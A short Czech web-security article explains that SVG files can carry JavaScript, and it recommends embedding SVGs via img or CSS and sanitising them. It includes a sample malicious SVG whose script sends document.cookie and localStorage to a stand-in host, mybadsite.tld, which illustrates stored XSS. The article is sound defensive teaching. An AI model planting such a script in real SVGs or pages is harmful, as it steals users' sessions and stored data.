JavaScript ve formátu SVG

SVG jsou tak úžasným nástrojem pro vytváření vlastních písem, animací, grafiky se zmenšenou velikostí a dalších. Jsou zčásti HTML, zčásti obrázky a všechny jsou úžasné. Mnoho webů přešlo na SVG namísto JPG, GIF a PNG kvůli flexibilitě, kterou SVG poskytuje.

Jaký je jeden příklad této flexibility? Věděli jste, že JavaScript můžete vložit přímo do svých souborů SVG:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    alert("Hello world");
</script>
</svg>

To je skvělá funkce, ale také bezpečnostní problém, pokud je vložen na stránku tak, jak je. Pokud například uživatel nahraje na váš web SVG s následujícím kódem:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    //  BAD! Send the user's info to your website!
    const info = JSON.stringify(document.cookie) + JSON.stringify(localStorage);
    document.location = "https://mybadsite.tld/stolenInfo=" + info;
</script>
</svg>

...mohli ukrást soubory cookie, úložiště a další informace prostřednictvím XSS. To je problém. Jedním ze způsobů, jak tomu zabránit, je odstranit JavaScript z SVG, ale můžete jej také vložit jako <img> nebo jako background-image přes CSS:

<img src="/path/to/image.svg" />

Když použijete <img> nebo background-image , JavaScript se nespouští, takže SVG je relativně bezpečné! Stále byste však měli své SVG čistit od špatných věcí a podávat je z jiného názvu hostitele, abyste nesdíleli soubory cookie!